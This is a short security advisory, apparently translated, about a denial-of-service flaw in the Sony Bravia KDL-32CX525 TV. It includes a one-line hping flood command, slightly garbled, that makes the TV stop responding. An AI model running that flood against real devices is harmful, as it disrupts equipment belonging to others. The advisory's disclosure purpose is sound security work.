Sony Bravia 'hping' Command Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Sony bravia TV CX Series
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52893

Sony Bravia KDL-32CX525 is a high definition LCD TV.

Sony Bravia has an error when processing data reports. A brute-force attack can cause the device to stop responding and eventually shut down.

<* Source: Gabriel Menezes Nunes (gab.mnunes@gmail.com)

Link: http://secunia.com/advisories/48705/

*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Gabriel Menezes Nunes (gab.mnunes@gmail.com) provides the following test methods:

Hping-s TV. IP. Address-p anyport-I u1 -- flood

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Sony
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.sony.co.uk/support/en/product/